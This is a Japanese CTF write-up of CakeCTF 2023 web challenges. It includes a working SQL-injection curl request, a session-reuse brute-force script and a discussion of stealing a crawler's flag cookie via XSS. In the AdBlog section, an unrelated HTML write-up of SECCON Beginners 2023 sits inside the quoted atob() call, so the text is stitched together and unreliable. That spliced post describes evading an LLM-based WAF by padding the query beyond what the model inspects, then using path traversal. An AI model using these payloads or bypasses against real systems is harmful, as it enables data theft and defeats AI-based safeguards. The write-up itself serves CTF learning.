はじめに

SECCON Beginners 福岡に参加してCTFのモチベが上がったのでCakeCTF 2023に参加してきました。チームkanimisoとして2人で参加し、99位/729チームでした。

WriteUp

チームメイトがpwn/revを得意としていたのでcrypto/webを解く予定でしたが、cryptoのwarmupで楕円曲線暗号が出てきて即離脱、結局ずっとwebをガチャガチャやっていました。

  • Welcome
  • Survey
  • Country DB
  • TOWFL
  • AdBlog

Welcome (673 solves)

開始と同時にDiscordのannouncementチャンネルでFlagが公開されました。
CakeCTF{hav3_s0m3_cak3_t0_r3fr3sh_y0ur_pa1at3}

Survey (208 solves)

アンケートに答えるとFlagが表示されました。
CakeCTF{thank_y0u_4_tasting_0ur_n3w_cak3s_this_y3ar}

Country DB (246 solves)

アルファベット2文字の国名コードを表示すると国旗と国名が表示されるwebアプリで、国のデータとは別のテーブルに保存されているFlagをどうにかして取得する問題。
ソースコードとDBの内容は以下の通り。

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)
import sqlite3
import os

FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
  code TEXT NOT NULL,
  name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

# Country list from https://gist.github.com/vxnick/380904
countries = [
    ('AF', 'Afghanistan'),
    ('AX', 'Aland Islands'),
    # ...(略)...
    ('ZM', 'Zambia'),
    ('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)

conn.commit()
conn.close()

注目すべきはここで、もうこんなのSQLiしてくれって言ってるようなものじゃないですか。

        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")

ただ一筋縄ではいかなくて、

    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

という制約が課せられています。

  • でも別に文字列じゃなくても長さが2になれば良さそう → 配列を代入してみる
  • SQL文を実行するときには"'に置き換えられる → 'の代わりに"を使う

という方針を立ててリクエストを送ってみるとFlagが取得できました。問題のクライアントのtextboxには二文字までしか入力できないようなので、curlで直接サーバーを叩いてあげましょう。

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"code": [") UNION ALL SELECT flag FROM flag --",""]}' \
  http://countrydb.2023.cakectf.com:8020/api/search

FlagはCakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}でした。

TOWFL (171 solves)

謎言語のリーディング問題を100問出題され、すべて正答ならFlagが表示されるという問題。
とりあえず適当に触って開発者ツールを確認すると、最初にapi/startを叩いてリセットし、sessionで管理しているっぽい感じ。

ソースコードは以下の通りで、sessionごとに正解もランダムで生成されるらしい。

#!/usr/bin/env python3
import flask
import json
import lorem
import os
import random
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)

@app.route("/")
def index():
    return flask.render_template("index.html")

@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}

@app.route("/api/question/<int:qid>", methods=['GET'])
def api_get_question(qid: int):
    if qid <= 0 or qid > 10:
        return {'status': 'error', 'reason': 'Invalid parameter.'}
    elif 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Send challenge information without answers
    chall = json.loads(db().get(flask.session['eid']))[qid-1]
    del chall['answers']
    del chall['results']
    return {'status': 'ok', 'data': chall}

@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}


def new_challenge():
    """Create new questions for a passage"""
    p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
    qs, ans, res = [], [], []
    for _ in range(10):
        q = lorem.sentence().replace(".", "?")
        op = [lorem.sentence() for _ in range(4)]
        qs.append({'question': q, 'options': op})
        ans.append(random.randrange(0, 4))
        res.append(False)
    return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}

def db():
    """Get connection to DB"""
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()

パッと見た感じ解答のリーク等も無く、総当たりしかなさそうな雰囲気がします。
ただsessionの破棄がどこでも行われていないので、sessionさえ正しいものなら何回でも答えの検証ができます。ということで、sessionを固定して1問ずつ順番に総当たりするコードを書きました。

let answer = [
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
  [null, null, null, null, null, null, null, null, null, null],
]

const getSession = async () => {
  let res = await fetch('http://towfl.2023.cakectf.com:8888/api/start', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    }
  })
  return res.headers.get('set-cookie').split(';')[0]
}

const submitAnswer = async (session) => {
  let res = await fetch('http://towfl.2023.cakectf.com:8888/api/submit', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Cookie': session,
    },
    body: JSON.stringify(answer)
  })
}

const getScore = async (session) => {
  await submitAnswer(session)
  let res = await fetch('http://towfl.2023.cakectf.com:8888/api/score', {
    method: 'GET',
    headers: {
      'Content-Type': 'application/json',
      'Cookie': session,
    }
  })
  return await res.json()
}

const solver = async () => {
  let session = await getSession()
  let score = 0
  for (let i = 0; i < 10; i++) {
    for (let j = 0; j < 10; j++) {
      for (let ans = 0; ans < 4; ans++) {
        answer[i][j] = ans
        let res = await getScore(session)
        if (res.data.score === 100) {
          console.log(res.data.flag)
          return
        }
        else if (score < res.data.score) {
          console.log(res.data)
          score++
          break
        }
      }
    }
  }
}

solver()

少し時間がかかりますが、無事Flagが取得できました。
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}

AdBlog (39 solves)

解けませんでした。
ブログの投稿と閲覧ができるwebアプリ、管理者への通報ページのようなwebアプリ、その通報されたページを巡回するwebクローラーがあり、クローラーが巡回する際にFlagを仕込んだCookieを置いていくという問題。
ブログ投稿画面にご丁寧にもHTMLとあり、クローラーでセットしているCookieはhttpOnlyもsecureもどちらもfalseになっているという、XSSしてくれと言わんばかりの問題。

        await page.setCookie({
            name: 'flag',
            value: flag,
            domain: new URL(base_url).hostname,
            httpOnly: false,
            secure: false
        });

しかしブログ表示の方が厄介で、base64でのエンコードを挟み、さらにDOMPurify.sanitize()にかけるという。

     let content = DOMPurify.sanitize(atob("<h1 id="はじめに">はじめに</h1>

<p>試験に追われ微分方程式の単位の心配をする季節になりましたが,SECCON Beginnersなるものに初めて参加してみました.常設ではないCTFに参加するのは初めてです.私用もあって問題と向き合っていたのは一日目の夜まででsolveも簡単なものだけですが,折角なので記録に残してみようと思います.</p>

<h1 id="writeup">WriteUp</h1>

<p>最終的に解けたものは</p>

<ul>
  <li>Welcome</li>
  <li>Half (reversing/beginner)</li>
  <li>CoughingFox2 (crypto/beginner)</li>
  <li>aiwaf (reversing/beginner)</li>
  <li>Three (reversing/easy)</li>
  <li>Conquer (crypto/easy)</li>
</ul>

<p>の6問.方針は立ったけどそこから先で詰まって断念したのが</p>

<ul>
  <li>Forbidden (web/beginner)</li>
  <li>poem (pwn/beginner)</li>
  <li>polyglot4b (misc/easy)</li>
</ul>

<p>の3問でした.Forbiddenが解けなかったのがかなり堪えましたね……</p>

<h2 id="welcome">Welcome</h2>

<p>Discordサーバーのannouncementsチャンネルで公開されているとのことで,確認.<br />
Flagは<code class="language-plaintext highlighter-rouge">ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!}</code>でした.</p>

<h2 id="coughingfox2">CoughingFox2</h2>

<p>cryptoのbeginner問題.配布されたソースコードはこれ.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># coding: utf-8
</span><span class="kn">import</span> <span class="n">random</span>
<span class="kn">import</span> <span class="n">os</span>

<span class="n">flag</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">ctf4b{xxx___censored___xxx}</span><span class="sh">"</span>

<span class="c1"># Please remove here if you wanna test this code in your environment :)
</span><span class="n">flag</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="nf">getenv</span><span class="p">(</span><span class="sh">"</span><span class="s">FLAG</span><span class="sh">"</span><span class="p">).</span><span class="nf">encode</span><span class="p">()</span>

<span class="n">cipher</span> <span class="o">=</span> <span class="p">[]</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">):</span>
    <span class="n">c</span> <span class="o">=</span> <span class="p">((</span><span class="n">flag</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">flag</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span> <span class="o">**</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span>
    <span class="n">cipher</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>

<span class="n">random</span><span class="p">.</span><span class="nf">shuffle</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>

<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">cipher = </span><span class="si">{</span><span class="n">cipher</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">random.shuffle(cipher)</code>でシャッフルされており,一瞬総当たりが頭をよぎりましたが,そんなわけはなくて<code class="language-plaintext highlighter-rouge">c = ((flag[i] + flag[i+1]) ** 2 + i)</code>がポイント<br />
cからiを引くと平方数になるのでそのiを特定すれば順番通りに並べ替えることができますFlagは<code class="language-plaintext highlighter-rouge">ctf4b{</code>から始まることが分かっているのであとは計算するだけでOK.Solverはこんな感じ.</p>

<pre><code class="language-Python">import math
import random

cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]
cipher.reverse()

plain = [0] * len(cipher)
flag = ""

for i in range(len(cipher)):
    for j in range(len(cipher)):
        p = math.sqrt(cipher[j] - i)
        if p.is_integer():
            plain[i] = int(p)
            break

c = ord('c')
for i in range(len(plain)):
    flag += chr(c)
    c = plain[i] - c

flag += '}'
print(flag)
</code></pre>

<p>Flagは<code class="language-plaintext highlighter-rouge">ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}</code>でした.</p>

<h2 id="conquer">Conquer</h2>

<p>cryptoのeasy問題配布されたソースコードはこれ</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="n">Crypto.Util.number</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="n">random</span> <span class="kn">import</span> <span class="n">getrandbits</span>
<span class="kn">from</span> <span class="n">flag</span> <span class="kn">import</span> <span class="n">flag</span>


<span class="k">def</span> <span class="nf">ROL</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">N</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="n">N</span><span class="p">):</span>
        <span class="n">bits</span> <span class="o">=</span> <span class="p">((</span><span class="n">bits</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="n">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span> <span class="o">|</span> <span class="p">(</span><span class="n">bits</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="n">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">bits</span>


<span class="n">flag</span> <span class="o">=</span> <span class="nf">bytes_to_long</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="n">length</span> <span class="o">=</span> <span class="n">flag</span><span class="p">.</span><span class="nf">bit_length</span><span class="p">()</span>

<span class="n">key</span> <span class="o">=</span> <span class="nf">getrandbits</span><span class="p">(</span><span class="n">length</span><span class="p">)</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">flag</span> <span class="o">^</span> <span class="n">key</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">):</span>
    <span class="n">key</span> <span class="o">=</span> <span class="nc">ROL</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="nf">pow</span><span class="p">(</span><span class="n">cipher</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="n">length</span><span class="p">))</span>
    <span class="n">cipher</span> <span class="o">^=</span> <span class="n">key</span>

<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">key =</span><span class="sh">"</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">cipher =</span><span class="sh">"</span><span class="p">,</span> <span class="n">cipher</span><span class="p">)</span>
</code></pre></div></div>

<p>keyを何ビットか右にスライドさせてFlagとのXORをとるという暗号化作業を32回繰り返していることが分かりますよって全く逆の操作を32回繰り返せば復号できることになりますSolverはこんな感じ</p>

<pre><code class="language-Python">from Crypto.Util.number import *
from random import getrandbits


def ROL(bits, N):
    for _ in range(N):
        bits = ((bits &lt;&lt; 1) &amp; (2**length - 1)) | (bits &gt;&gt; (length - 1))
    return bits

key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379

length = key.bit_length()+1

for i in range(32):
    cipher = cipher ^ key
    key = ROL(key, length - pow(cipher, 3, length))

flag = cipher ^ key
print(long_to_bytes(flag))
</code></pre>

<p><code class="language-plaintext highlighter-rouge">length = key.bit_length()+1</code>とするのに中々気付けずかなり時間を無駄にしてしまいました.<br />
Flagは<code class="language-plaintext highlighter-rouge">ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}</code>でした.</p>

<h2 id="aiwaf">aiwaf</h2>

<p>webのeasy問題配布されたソースコードはこれ</p>

<pre><code class="language-JavaScript">import uuid
import openai
import urllib.parse
from flask import Flask, request, abort

# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address

##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################

app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True

# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])

openai.api_key = KEY

top_page = """
&lt;!DOCTYPE html&gt;
&lt;html lang="ja"&gt;
&lt;head&gt;
    &lt;meta charset="utf-8" /&gt;
    &lt;title&gt;亞空文庫&lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;h1&gt;亞空文庫&lt;/h1&gt;
    AIにセキュリティの物語を書いてもらいました。&lt;br&gt;
    内容は正しいかどうかわかりません。&lt;br&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;a href="/?file=book0.txt"&gt;あ書&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/?file=book1.txt"&gt;い書&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/?file=book2.txt"&gt;う書&lt;/a&gt;&lt;/li&gt;
    &lt;!-- &lt;li&gt;&lt;a href="/?file=book3.txt"&gt;え書&lt;/a&gt;&lt;/li&gt; --&gt;
&lt;/ul&gt;

※セキュリティのためAI-WAFを導入しています。&lt;br&gt;
© 2023 ももんがの書房
&lt;/body&gt;

&lt;/html&gt;
"""


@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

</code></pre>

<p>Flagは<code class="language-plaintext highlighter-rouge">/flag</code>に置いてあることがディレクトリ構造から分かりますが<code class="language-plaintext highlighter-rouge">?file=../flag</code>のようにそのままアクセスするとaiwafに検知されてしまいます.ここでポイントとなるのが<code class="language-plaintext highlighter-rouge">{urllib.parse.unquote(request.query_string)[:50]}</code>の部分でどうやらクエリの最初50文字しか見てない様子よって</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>?test=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&amp;file=../flag
</code></pre></div></div>

<p>といった感じで50文字以上適当なクエリを挟んであげれば<code class="language-plaintext highlighter-rouge">/flag</code>にアクセスすることができます<br />
Flagは<code class="language-plaintext highlighter-rouge">ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}</code>でした.</p>

<h2 id="half">Half</h2>

<p>reversingのbeginner問題revの最初の問題ということでとりあえずstringsコマンドを実行してみると案の定Flagっぽい文字列が2行に分けて出てきた<br />
Flagは<code class="language-plaintext highlighter-rouge">ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}</code>でした.</p>

<h2 id="three">Three</h2>

<p>reversingのeasy問題とりあえず解析ツールにかけてデコンパイルしてみる<br />
<a href="https://dogbolt.org/">Decompiler Explorer</a>というサイトがオンラインで実行できて,複数のツールの解析結果を比べながら見ることができるので便利.<br />
するとflag_0flag_1flag_2の3つの配列にFlagが分解されて格納されていることが分かった<br />
どうやらスキュタレー暗号っぽいので簡単なSolverを書く</p>

<pre><code class="language-Python">flag_0 = [99, 52, 99, 95, 117, 98, 95, 95, 100, 116, 95, 114, 95, 49, 95, 52, 125, 0]
flag_1 = [116, 98, 52, 121, 95, 49, 116, 117, 48, 52, 116, 101, 115, 105, 102, 103]
flag_2 = [102, 123, 110, 48, 97, 101, 48, 110, 95, 101, 52, 101, 112, 116, 49, 51]

flag = ""

for i in range(49):
    if i%3 == 0:
        flag += chr(flag_0[i//3])
    elif i%3 == 1:
        flag += chr(flag_1[i//3])
    else:
        flag += chr(flag_2[i//3])

print(flag)
</code></pre>

<p>Flagは<code class="language-plaintext highlighter-rouge">ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}</code>でした.</p>

<h1 id="おわりに">おわりに</h1>

<p><img src="/assets/img/seccon_beginners_ctf_2023/bdde87c14df5-20230604.png" alt="" /><br />
最終結果としては6問solveして375ptで778チーム中255位あまり時間が取れなかったというのもあるが中々悔いの残る結果に特にForbiddenとpoemは方針まで合っていたのにあと一歩が思いつかなかったからとても悔しいなんで試しすらしなかったんだろうなぁ……<br />
まぁ数時間にしてはそこそこ解けたかなという感触なので機会があればこんな感じの比較的低難易度なCTFに時間一杯まで参加してみたいですねこのWriteUpも30分余りで書き上げてしまったので願わくば次はもっと執筆に時間がかかりますように</p>
"));
     document.getElementById("content").innerHTML = content;

記事タイトルの方でインジェクションしようにもこちらはFlaskのJinja2がエスケープしているので手詰まり。もしかしてそもそもXSSがミスリードだったりするのかなぁって……流石にそんなことないと思いたいですけど。

おわりに

正直1問も解けない覚悟もしていたので、2問解けたのは素直に嬉しいです。web以外も少し触ったんですがそっちは全く歯が立たなかったので鍛錬が必要ですね。CakeCTFのrevはwarmupでもC言語以外だったりELFファイルじゃなかったりで初心者視点だとかなり癖のある問題が多いという印象があるので、解けるようになりたいです。
最近コードも書かず技術も触らずな怠惰な生活でしたが、このCTFで適度な無力感と焦燥感をもらったのでしばらく頑張れそうです。それでは。